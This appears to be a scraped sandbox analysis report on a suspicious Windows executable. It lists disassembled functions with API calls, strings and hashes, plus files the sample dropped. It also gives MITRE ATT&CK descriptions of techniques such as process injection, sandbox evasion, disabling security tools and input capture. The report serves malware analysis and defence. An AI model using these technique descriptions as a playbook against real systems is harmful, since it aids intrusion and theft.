Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction ID: 5f3dba4d8844e5358604522bc4e96f8ae851ca6b48ae4d2d07fbe730f1c7af28
Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction Fuzzy Hash: BD115836A2A64182FB518F15EB047FD7261EBC1B48FB48035DA8D86694DF3DD886D702

Function 00007FF6292BFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF6292BFF29
CloseHandle.KERNEL32 ref: 00007FF6292BFF3A

Strings

, xrefs: 00007FF6292BFF01

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: 168b0db50489659b807e0c595581e901757ff40accfaf30f7364c41fb9e04335
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: 7F117031A1CB418AEB10DF26FD402AAB6A5FBC4780F454135EA8D87A68CF3CD094DB01

Function 00007FF62927DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927DF26

Strings

ListBox, xrefs: 00007FF62927DEEA
ComboBox, xrefs: 00007FF62927DEB5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction ID: 7965a3ef3408678ca2e68472bf985cb6d8c3116c99fc6c75652dcdd00aed2afc
Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction Fuzzy Hash: 05018221A3E54292FE20DB10EA911F97320FFC5384F445131E58D87ADADF2CD218DB02

Function 00007FF6292515B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF62925158E

Part of subcall function 00007FF62924FA90: _ctrlfp.LIBCMT ref: 00007FF62924FACB
Part of subcall function 00007FF62924FA90: _raise_exc.LIBCMT ref: 00007FF62924FB37

Strings

tan, xrefs: 00007FF6292515BA
!, xrefs: 00007FF629251576

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: 20bfffc837e9e9a76b02040e96a45f56a47aeda47059e81c13a7aa576c7cf292
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: 5D019271A29B8542EA14CF22A90033A7262BFDA7D4F105334EA5E0BB89EF7CD1509B01

Function 00007FF6292514E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF62925158E

Part of subcall function 00007FF62924FA90: _ctrlfp.LIBCMT ref: 00007FF62924FACB
Part of subcall function 00007FF62924FA90: _raise_exc.LIBCMT ref: 00007FF62924FB37

Strings

cos, xrefs: 00007FF6292514EE
!, xrefs: 00007FF629251576

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: 6e88cfacdcc852dc30e18f1495a2963a97365b045db5ba4984de22572f4a753a
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: CD01D871E29BC941EA14CF22980037A7152BFDA7D4F104334E95E0ABC9EF7DD1509B01

Function 00007FF6292514FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF62925158E

Part of subcall function 00007FF62924FA90: _ctrlfp.LIBCMT ref: 00007FF62924FACB
Part of subcall function 00007FF62924FA90: _raise_exc.LIBCMT ref: 00007FF62924FB37

Strings

!, xrefs: 00007FF629251576
sin, xrefs: 00007FF629251502

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: 8e53d551aa6ae4b57a342b60bff83695b54ebbcb2c45b03f643d35d3103a19e7
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: CF01D472E29B8542EA14CF22980037A7262BFDA7D4F104334E95E0ABC9EF7DD1409B01

Function 00007FF629251370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6292513F6

Strings

", xrefs: 00007FF6292513CF
exp, xrefs: 00007FF6292513E5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: c7a1864e430e8d6406cbc1c652d2fdb9374e20d435a9f9230bc1edeb13ea5e82
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 1E01C436939B9883F620CF24D4492AA7BB0FFEA344F205315E7841AA64CB7DD4819F00

Function 00007FF62927C59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF62927C5B6

Strings

AutoIt, xrefs: 00007FF62927C5A6
Error allocating memory., xrefs: 00007FF62927C5AD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
Instruction ID: e7197f80a73c409b8b2de607c48ded689bd75dc41c8d3daa6e4085bf2799f9d2
Opcode Fuzzy Hash: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
Instruction Fuzzy Hash: FCF08220B2964641FF186B61BA453F932519FC8780F545431D9498BB9ACFBDE481A302

Function 00007FF6292375C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6292375E9
TlsSetValue.KERNEL32(?,?,?,00007FF629237241,?,?,?,?,00007FF62923660C,?,?,?,?,00007FF629234CD3), ref: 00007FF629237600

Strings

FlsSetValue, xrefs: 00007FF6292375CD, 00007FF6292375D6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: ded3e881e6b4f4190374ce665222a43d68f188b30cb89125f2a1f7078f1b4dbc
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: 23E06565A2E54281FE055F55FE005F83365AFC8B91F594032D90D863D5CF7CD588D602

Function 00007FF629235620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629235629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF62923563A

Part of subcall function 00007FF629237018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF62923563F), ref: 00007FF62923708D
Part of subcall function 00007FF629237018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF62923563F), ref: 00007FF6292370BF

Strings

Unknown exception, xrefs: 00007FF629235645

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: 3fc2c3f352f9e1c59ec8e682bc301dfab756b5d998e6d0989d538a55ed1af5ae
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: 97D0122662654591EE10DF14DD807A47334F7D0308F904431D14D815B5DF2CD64AE301

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report elyho3x5zz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbc3zjkp.yfk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycr1vuog.ak1.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
elyho3x5zz.exe

Function 00007FF6292137B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Function 00007FF629216580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Function 00007FF629231D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Function 00007FF629217920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Function 00007FF629215DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Function 00007FF629213D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Function 00007FF62922E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Function 00007FF629213B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Function 00007FF629257348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Function 00007FF6292225BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Function 00007FF629213CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Function 00007FF629217EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Function 00007FF6292172C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Function 00007FF629213F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
